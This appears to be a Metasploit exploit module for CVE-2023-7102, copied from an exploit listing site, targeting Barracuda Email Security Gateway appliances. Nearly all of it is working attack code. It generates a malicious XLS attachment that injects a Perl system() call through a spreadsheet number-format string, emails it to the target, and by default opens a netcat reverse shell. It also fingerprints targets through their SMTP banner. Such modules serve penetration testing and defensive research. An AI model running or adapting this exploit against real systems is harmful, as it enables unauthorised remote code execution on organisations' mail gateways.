Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-SMTP-BARRACUDA_ESG_SPREADSHEET_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::SMTPDeliver
# BIFF8 Record Opcodes
BIFF8_BOF = 0x0809 # Beginning of File
BIFF8_EOF = 0x000A # End of File
BIFF8_CODEPAGE = 0x0042 # Code page
BIFF8_WINDOW1 = 0x003D # Window information
BIFF8_DATEMODE = 0x0022 # Date system
BIFF8_FONT = 0x0031 # Font definition
BIFF8_FORMAT = 0x041E # Number format string (payload injection point)
BIFF8_XF = 0x00E0 # Extended format
BIFF8_STYLE = 0x0293 # Style definition
BIFF8_BOUNDSHEET = 0x0085 # Sheet information
BIFF8_DIMENSION = 0x0200 # Sheet dimensions
BIFF8_ROW = 0x0208 # Row definition
BIFF8_NUMBER = 0x0203 # Floating point cell
# BIFF8 Constants
BIFF8_VERSION = 0x0600
BOF_WORKBOOK = 0x0005
BOF_WORKSHEET = 0x0010
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Barracuda ESG Spreadsheet::ParseExcel Arbitrary Code Execution',
'Description' => %q{
This module exploits CVE-2023-7102, an arbitrary code execution vulnerability
in Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
in how the Amavis scanner processes Excel attachments using the Perl
Spreadsheet::ParseExcel library.
The library's Utility.pm contains an unsafe eval() that processes Excel
Number format strings without validation. By crafting a malicious XLS file
with a specially formatted Number format string containing Perl code, an
attacker can achieve remote code execution when the ESG scans the email
attachment.
This module dynamically generates a minimal BIFF8 XLS file with the payload
embedded in a FORMAT record using Rex::OLE. Payload constraints: no ']' (terminates
format string) or single quotes (breaks Perl eval injection).
This vulnerability was exploited in the wild by UNC4841 (China-nexus threat
actor) starting November 2023. Barracuda deployed automatic patches on
December 21, 2023.
Affected versions: Barracuda ESG 5.1.3.001 through 9.2.1.001
},
'License' => MSF_LICENSE,
'Author' => [
'Mandiant', # CVE-2023-7101/7102 discovery
'haile01', # CVE-2023-7101 XLS payload technique
'Curt Hyvarinen' # Metasploit module
],
'References' => [
['CVE', '2023-7102'],
['CVE', '2023-7101'],
['URL', 'https://github.com/haile01/perl_spreadsheet_excel_rce_poc'],
['URL', 'https://trust.barracuda.com/security/information/esg-vulnerability'],
['URL', 'https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-7101']
],
'DisclosureDate' => '2023-12-24',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false, # Runs as scana user (Amavis scanner)
'Payload' => {
'Space' => 8192,
'DisableNops' => true,
'BadChars' => "]'\x00" # ] terminates format, ' breaks eval, null terminates
},
'Targets' => [
[
'Unix Command',
{
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('MAILTO', [true, 'Target email address on the ESG']),
OptString.new('SUBJECT', [false, 'Email subject line (default: random)']),
OptString.new('BODY', [false, 'Email body text (default: random)']),
OptString.new('FILENAME', [false, 'XLS attachment filename (default: random)'])
]
)
end
def check
connect
banner_str = banner.to_s
if banner_str =~ /barracuda/i
return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
end
if banner_str =~ /ESMTP/i
return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
end
CheckCode::Safe('No SMTP banner detected')
rescue Rex::ConnectionError => e
CheckCode::Unknown("Connection failed: #{e.message}")
ensure
disconnect
end
def exploit
cmd = payload.encoded
# Validate payload doesn't contain characters that break the injection
if cmd.include?(']')
fail_with(Failure::BadConfig, "Payload contains ']' which terminates the format string. Use a different payload.")
end
if cmd.include?("'")
fail_with(Failure::BadConfig, 'Payload contains single quote which breaks eval injection. Use a different payload.')
end
@subject = datastore['SUBJECT']
@body = datastore['BODY']
@filename = datastore['FILENAME']
@mailfrom = datastore['MAILFROM']
@subject = Rex::Text.rand_text_alpha(rand(8..16)) if @subject.to_s.strip.empty?
@body = Rex::Text.rand_text_alpha(rand(16..32)) if @body.to_s.strip.empty?
@filename = "#{Rex::Text.rand_text_alpha(8)}.xls" if @filename.to_s.strip.empty?
print_status('Generating malicious XLS with payload in FORMAT record')
xls_data = generate_malicious_xls(cmd)
print_status('Composing email with XLS attachment')
email_data = generate_exploit_email(xls_data)
print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
send_message(email_data)
print_good('Email sent successfully')
print_status('Payload executes when Amavis scanner parses the XLS attachment (may take 30-90 seconds)')
end
#
# Generate a malicious XLS file with payload embedded in FORMAT record
# Uses Rex::OLE for OLE2 container and builds BIFF8 records dynamically
#
def generate_malicious_xls(cmd)
# Build the malicious format string
# Format: [>0;system('COMMAND')]0
# The >0 comparison is always true for positive numbers, then Perl executes system()
format_payload = "[>0;system('#{cmd}')]0"
vprint_status("Format string payload: #{format_payload}")
vprint_status("Payload length: #{format_payload.length} bytes")
# Build BIFF8 workbook stream
workbook = build_workbook_stream(format_payload)
# Build BIFF8 worksheet stream
worksheet = build_worksheet_stream
# Combine streams (worksheet follows workbook globals in same stream)
content = workbook + worksheet
# Create OLE2 container using Rex::OLE
xls_data = create_ole2_xls(content)
vprint_status("Generated XLS size: #{xls_data.length} bytes")
xls_data
end
#
# Build BIFF8 workbook globals stream
#
def build_workbook_stream(format_payload)
stream = ''.b
# BOF - Workbook
stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKBOOK))
# Codepage (UTF-16)
stream << biff_record(BIFF8_CODEPAGE, [0x04B0].pack('v'))
# Window1 - basic window settings
stream << biff_record(BIFF8_WINDOW1, window1_data)
# Datemode - 1900 date system
stream << biff_record(BIFF8_DATEMODE, [0x0000].pack('v'))
# Font records (need at least 4 for XF records)
4.times { stream << biff_record(BIFF8_FONT, font_data) }
# FORMAT record - this is where our payload lives
stream << biff_record(BIFF8_FORMAT, format_data(format_payload))
# XF records (cell formatting) - need 21 built-in + 1 custom
21.times { stream << biff_record(BIFF8_XF, xf_data(0)) }
stream << biff_record(BIFF8_XF, xf_data(165)) # References our custom format
# Style record
stream << biff_record(BIFF8_STYLE, style_data)
# Boundsheet - worksheet BOF offset = current stream length + this record's size + EOF record size
# Pre-compute the BOUNDSHEET record size to calculate the correct absolute offset
boundsheet_size = biff_record(BIFF8_BOUNDSHEET, boundsheet_data(0)).bytesize
eof_size = biff_record(BIFF8_EOF, '').bytesize
stream << biff_record(BIFF8_BOUNDSHEET, boundsheet_data(stream.length + boundsheet_size + eof_size))
# EOF
stream << biff_record(BIFF8_EOF, '')
stream
end
#
# Build BIFF8 worksheet stream
#
def build_worksheet_stream
stream = ''.b
# BOF - Worksheet
stream << biff_record(BIFF8_BOF, bof_data(BOF_WORKSHEET))
# Dimension - 1x1 used range
stream << biff_record(BIFF8_DIMENSION, dimension_data)
# Row definition
stream << biff_record(BIFF8_ROW, row_data(0))
# NUMBER record - cell with value that triggers format processing
# Row 0, Col 0, XF index 21 (our custom format), Value 123.0
stream << biff_record(BIFF8_NUMBER, number_data(0, 0, 21, 123.0))
# EOF
stream << biff_record(BIFF8_EOF, '')
stream
end
#
# Create OLE2 compound document containing the workbook stream
#
def create_ole2_xls(content)
# Create temporary file for Rex::OLE
tmpfile = Rex::Quickfile.new('msf-xls')
tmppath = tmpfile.path
tmpfile.close
begin
stg = Rex::OLE::Storage.new(tmppath, Rex::OLE::STGM_WRITE)
fail_with(Failure::Unknown, 'Failed to create OLE storage') unless stg
stm = stg.create_stream('Workbook')
fail_with(Failure::Unknown, 'Failed to create Workbook stream') unless stm
stm << content
stm.close
stg.close
# Read the generated file
xls_data = File.binread(tmppath)
xls_data
ensure
File.delete(tmppath) if File.exist?(tmppath)
end
end
# BIFF8 Record Helpers
#
# Build a BIFF8 record: opcode (2 bytes) + length (2 bytes) + data
#
def biff_record(opcode, data)
[opcode, data.bytesize].pack('v2') + data
end
#
# BOF record data
#
def bof_data(sheet_type)
[
BIFF8_VERSION, # BIFF version
sheet_type, # Sheet type (workbook or worksheet)
0x0DBB, # Build identifier
0x07CC, # Build year
0x000000C1, # File history flags
0x00000006 # Lowest BIFF version
].pack('v4V2')
end
#
# Window1 record data
#
def window1_data
[
0x0000, # Horizontal position
0x0000, # Vertical position
0x4000, # Width
0x2000, # Height
0x0038, # Options
0x0000, # Selected tab
0x0000, # First displayed tab
0x0001, # Selected tabs count
0x00E5 # Tab bar width ratio
].pack('v9')
end
#
# Font record data
#
def font_data
font_name = 'Arial'
data = [
0x00C8, # Height (200 twips = 10pt)
0x0000, # Options
0x7FFF, # Color index
0x0190, # Font weight (400 = normal)
0x0000, # Escapement
0x00, # Underline
0x00, # Font family
0x00, # Character set
0x00, # Reserved
font_name.length # Name length (byte string)
].pack('v4vC5')
data << font_name
data
end
#
# FORMAT record data - contains our payload
#
def format_data(format_string)
# FORMAT record structure for BIFF8:
# - 2 bytes: format index (custom formats start at 164)
# - 2 bytes: string length (character count)
# - 1 byte: encoding flag (0 = compressed/Latin-1, 1 = UTF-16)
# - variable: string data
format_index = 165
data = [
format_index,
format_string.length,
0x00 # Latin-1 encoding (single byte per char)
].pack('v2C')
data << format_string
data
end
#
# XF (extended format) record data
#
def xf_data(format_index)
[
0x0000, # Font index
format_index, # Format index (0 = General, 165 = our custom)
0x0001, # Type/protection flags
0x00, # Alignment
0x00, # Rotation
0x00, # Text properties
0x00, # Used attributes
0x00000000, # Border colors
0x00000000, # Border lines
0x00000000 # Pattern/background color
].pack('v3C4V3')
end
#
# Style record data
#
def style_data
[
0x8000, # XF index with built-in flag set
0x00, # Built-in style ID (Normal)
0xFF # Outline level
].pack('vCC')
end
#
# Boundsheet record data
#
def boundsheet_data(sheet_offset)
sheet_name = 'Sheet1'
data = [
sheet_offset, # Absolute offset to BOF
0x00, # Sheet state (visible)
0x00, # Sheet type (worksheet)
sheet_name.length # Name length
].pack('VCC C')
data << sheet_name
data
end
#
# Dimension record data
#
def dimension_data
[
0x0000, # First row
0x0001, # Last row + 1
0x0000, # First column
0x0001, # Last column + 1
0x0000 # Reserved
].pack('v5')
end
#
# Row record data
#
def row_data(row_num)
[
row_num, # Row number
0x0000, # First defined column
0x0001, # Last defined column + 1
0x00FF, # Row height
0x0000, # Reserved
0x0000, # Reserved
0x0100 # Options
].pack('v7')
end
#
# NUMBER record data
#
def number_data(row, col, xf_index, value)
data = [row, col, xf_index].pack('v3')
data << [value].pack('E') # 64-bit IEEE 754 double (little-endian)
data
end
#
# Generate MIME email with XLS attachment
#
def generate_exploit_email(xls_data)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.from = @mailfrom
msg.to = datastore['MAILTO']
msg.subject = @subject
msg.add_part(@body, 'text/plain', nil, 'inline')
msg.add_part_attachment(xls_data, @filename)
msg.to_s
end
end